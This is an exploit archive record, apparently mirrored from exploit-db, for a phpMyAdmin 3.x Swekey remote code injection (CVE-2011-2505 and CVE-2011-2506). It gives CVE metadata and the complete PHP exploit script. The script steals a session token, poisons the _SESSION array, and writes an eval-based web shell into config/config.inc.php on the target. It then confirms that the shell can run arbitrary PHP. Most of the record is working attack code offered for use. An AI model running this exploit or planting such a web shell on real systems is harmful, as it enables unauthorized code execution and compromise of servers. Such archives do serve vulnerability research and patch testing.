{"exploit":{"id":"EDB-17514","name":"phpMyAdmin 3.x - Swekey Remote Code Injection","description":"phpMyAdmin 3.x - Swekey Remote Code Injection","cves":["CVE-2011-2506","CVE-2011-2505"],"author":"Mango","published":"2011-07-09","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/17514","path":"exploits/php/webapps/17514.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-17514.php","vulnerabilities":[{"id":"CVE-2011-2506","state":"PUBLISHED","title":null,"titleSource":null,"description":"setup/lib/ConfigGenerator.class.php in phpMyAdmin 3.x before 3.3.10.2 and 3.4.x before 3.4.3.1 does not properly restrict the presence of comment closing delimiters, which allows remote attackers to conduct static code injection attacks by leveraging the ability to modify the SESSION superglobal array.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-2506","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-2506"},"updatedAt":"2024-08-06T23:00:34.178Z","retrievedAt":"2026-11-27T10:43:26.604Z","stale":false,"error":null},{"id":"CVE-2011-2505","state":"PUBLISHED","title":null,"titleSource":null,"description":"libraries/auth/swekey/swekey.auth.lib.php in the Swekey authentication feature in phpMyAdmin 3.x before 3.3.10.2 and 3.4.x before 3.4.3.1 assigns values to arbitrary parameters referenced in the query string, which allows remote attackers to modify the SESSION superglobal array via a crafted request, related to a \"remote variable manipulation vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-2505","cvss":{"version":"2.0","baseScore":6.4,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-2505"},"updatedAt":"2024-08-06T23:00:34.116Z","retrievedAt":"2026-11-27T13:10:28.146Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-17514.png?v=2","url":"https://exploitbin.com/exploits/EDB-17514","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-17514/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-17514/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php /*\n# Exploit Title: phpMyAdmin 3.x Swekey Remote Code Injection Exploit\n# Date: 2011-07-09\n# Author: Mango of ha.xxor.se\n# Version: phpMyAdmin < 3.3.10.2 || phpMyAdmin < 3.4.3.1\n# CVE : CVE-2011-2505, CVE-2011-2506\n# Advisory: http://www.xxor.se/advisories/phpMyAdmin_3.x_Multiple_Remote_Code_Executions.txt\n# Details: http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html\n*/\necho php_sapi_name()!=='cli'?'<pre>':'';?>\n              .\n       ,      )\\     .\n  .  ,/)   , /  ) ,  )\\\n  )\\(  /)/( (__( /( /  )          __      __              ________        __                    __\n /  \\  (   )|  |)  \\  /          |  |\\  /|  |            |  |  |  |      |  |                  (__)\n(  ______ / |  |_____(  ______   |  | \\/ |  |  __    __  |  |__|  |   ___|  |  __ ___________   __   __ _____\n \\|  | \\  \\ |  |  |  |)|  | \\  \\ |  |    |  | |  |  |  | |  |  |  | /  / |  | |  |  |  |  |  | |  | |  |  |  |\n  |  |_/__/ |__|  |__| |  |_/__/ |__|    |__| |__|__|  | |__| [][]|[]__[]|[][]|_[]  |_[][]|_[] [][][]__|  |__|\n==|__|=================|__|=========================|__|======[]====[][]=|[]|[]=[]===[]==[]=[]===[]==============\n   phpMyAdmin < 3.3.10.2 || phpMyAdmin < 3.4.3.1              [][]   []   [][]  []   []  [] []   []\n   Remote Code Injection                                      []    [][]  []    []   []  [] []   []\n   http://ha.xxor.se                                          [][] []  [] []    [][]  [][]  []   []\n\t _   _  ___ __ ____ __ ___  ___\n\t| |-| || _ |\\   /\\   /| _ ||   )\n\t|_|-|_||_|_|/_._\\/_._\\|___||_|_\\\n  ___  ___  ___ _  _  ___     ___ __ __\n (  < | [_ /  /| || ||   )(_)|   |\\ | /\n  >__)|_[_ \\__\\|____||_|_\\|_| |_|  |_|\n\nUse responsibly.\n\n<?php echo php_sapi_name()!=='cli'?'</pre>':'';\n\nif(php_sapi_name()==='cli'){\n\tif(!isset($argv[1])){\n\t\toutput(\"   Usage\\n    \".$argv[0].\" http://example.com/phpMyAdmin-3.3.9.2\");\n\t\tkillme();\n\t}\n\t$pmaurl = $argv[1];\n}else{\n\t$pmaurl = isset($_REQUEST['url'])?$_REQUEST['url']:'';\n}\n$code   = 'foreach($_GET as $k=>$v)if($k===\"eval\")eval($v);';\n$cookie = null;\n$token  = null;\nif(!function_exists('curl_init')){\n\toutput('[!] Fatal error. Need cURL!');\n\tkillme();\n}\n$ch     = curl_init();\n$debug  = 0;\nif(php_sapi_name()!=='cli'){\n?>\n<form method=post>\nURL: <input name=url value=\"<?php echo htmlspecialchars($pmaurl);?>\"> Example: http://localhost:8080/phpMyAdmin-3.3.9.2<br/>\n<input name=submit type=submit value=♥>\n</form>\n<pre>\n<?php\nif(!isset($_REQUEST['submit']))killme(true);\n}\n\noutput(\"[i] Running...\");\n\n// Start a session and get a token\ncurl_setopt_array($ch, array(\n\tCURLOPT_URL => $pmaurl.'/setup/index.php',\n\tCURLOPT_HEADER => 1,\n\tCURLOPT_RETURNTRANSFER => 1,\n\tCURLOPT_TIMEOUT => 4,\n\tCURLOPT_SSL_VERIFYPEER => false,\n\tCURLOPT_SSL_VERIFYHOST => false\n));\noutput(\"[*] Contacting server to retrive session cookie and token.\");\n\n$result = curl_exec($ch);\nif(404 == curl_getinfo($ch, CURLINFO_HTTP_CODE)){\n\toutput(\"[!] Fail. $pmaurl/setup/index.php returned 404. The host is not vulnerable or there is a problem with the supplied url.\");\n\tkillme();\n}\nif(!$result){\n\toutput(\"[!] cURL error:\".curl_error($ch));\n\tkillme();\n}\nif(false !== strpos($result, 'Cannot load or save configuration')){\n\toutput(\"[!] Fail. Host not vulnerable. Web server writable folder $pmaurl/config/ does not exsist.\");\n\tkillme();\n}\n\n// Extract cookie\npreg_match('/phpMyAdmin=([^;]+)/', $result, $matches);\n$cookie = $matches[1];\noutput(\"[i] Cookie:\".$cookie);\n// Extract token\npreg_match('/(token=|token\" value=\")([0-9a-f]{32})/', $result, $matches);\n$token = $matches[2];\noutput(\"[i] Token:\".$token);\n\n// Poison _SESSION variable\ncurl_setopt($ch, CURLOPT_URL, $pmaurl.'/?_SESSION[ConfigFile][Servers][*/'.urlencode($code).'/*][port]=0&session_to_unset=x&token='.$token);\ncurl_setopt($ch, CURLOPT_COOKIE, 'phpMyAdmin='.$cookie);\noutput(\"[*] Contacting server to inject code into the _SESSION[ConfigFile][Servers] array.\");\nif(!$result = curl_exec($ch)){\n\toutput(\"[!] cURL error:\".curl_error($ch));\n\tkillme();\n}\n\n//echo htmlspecialchars($result,ENT_QUOTES);\n\n// Save file\ncurl_setopt($ch, CURLOPT_URL, $pmaurl.'/setup/config.php');\ncurl_setopt($ch, CURLOPT_POST, 1);\ncurl_setopt($ch, CURLOPT_POSTFIELDS, 'submit_save=Save&token='.$token);\noutput(\"[*] Contacting server to make it save the injected code to a file.\");\nif(!$result = curl_exec($ch)){\n\toutput(\"[!] cURL error:\".curl_error($ch));\n\tkillme();\n}\n\n//echo htmlspecialchars($result,ENT_QUOTES);\n\ncurl_setopt($ch, CURLOPT_URL, $pmaurl.'/config/config.inc.php?eval=echo%20md5(123);');\ncurl_setopt($ch, CURLOPT_POST, 0);\noutput(\"[*] Contacting server to test if the injected code executes.\");\nif(!$result = curl_exec($ch)){\n\toutput(\"[!] cURL error:\".curl_error($ch));\n\tkillme();\n}\nif(preg_match('/202cb962ac59075b964b07152d234b70/', $result)){\n\toutput(\"[!] Code injection successfull. This instance of phpMyAdmin is vulnerable!\");\n\toutput(\"[+] Use your browser to execute PHP code like this $pmaurl/config/config.inc.php?eval=echo%20'test';\");\n}else{\n\toutput(\"[!] Code injection failed. This instance of phpMyAdmin does not apear to be vulnerable.\");\n}\n\n\ncurl_close($ch);\n\nfunction output($msg){\n\techo php_sapi_name()!=='cli'?htmlspecialchars(\"$msg\\n\",ENT_QUOTES):\"$msg\\n\";\n\tflush();\n}\n\nfunction killme(){\n\toutput(\"[*] Exiting...\");\n\techo php_sapi_name()!=='cli'?'<pre>':'';\n\tdie();\n}\n\necho php_sapi_name()!=='cli'?'<pre>':'';?>","sha256":"fde5f7215795125a89d56e49a52b1b1c38354cf9cb7977e76831806ae4bda2f1","bytes":5345,"fetchedAt":"2026-11-27T13:10:24.907Z","encoding":"utf-8 (display only; download retains original bytes)"}